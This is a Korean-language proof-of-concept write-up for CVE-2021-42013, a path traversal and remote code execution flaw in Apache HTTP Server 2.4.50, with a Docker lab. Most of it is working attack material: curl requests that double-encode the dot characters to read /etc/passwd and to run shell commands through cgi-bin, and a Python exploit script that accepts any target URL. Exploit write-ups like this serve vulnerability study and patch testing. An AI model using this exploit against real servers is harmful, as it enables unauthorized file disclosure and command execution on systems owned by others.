
CVE-2021-42013 Apache HTTP Server 경로 탐색 및 원격 코드 실행 취약점에 대한 개념 증명 익스플로잇으로, Docker 기반 실습 환경과 Python PoC 스크립트를 포함합니다.
Contributor
Apache HTTP Server 2.4.50의 경로 정규화 처리에 존재하는 버그로 인증 없이 임의 파일을 읽거나 원격 코드를 실행할 수 있다.
CVE-2021-41773의 불완전한 패치로 인해 발생했으며 이중 URL 인코딩(%%32%65)을 통해 Apache의 경로 차단을 우회함.
CVE-2021-42013이 작동하려면 아래와 같은 조건이 만족되어야 한다.
docker-compose up -d
테스트 환경이 실행 되는지 확인하기 위해 아래 코드를 실행한다
docker-compose ps

서버가 정상적으로 실행되면 http://localhost:8080 에 접근할 수 있다.
상위 폴더로 올라가기 위해 ../ 사용하는데 Apache가 해당 문자를 차단했다. 이를 우회하기 위해 .을 인코딩한 값 2e 를 대신 사용할 수 있다. Apache2.4.50 버전은 %2e 인코딩을 디코딩한 후 검사를 하게 되므로 %2e2e 를 사용하면 ../ 와 같이 문자가 차단당한다. 그렇기에 이중 인코딩을 하여 %%32%65 을 사용해 해당 필터링을 우회해야한다.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

CGI가 가능한 환경일 때 마지막 부분을 /bin/sh 로 바꿔 RCE가 가능하다.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

docker-compose down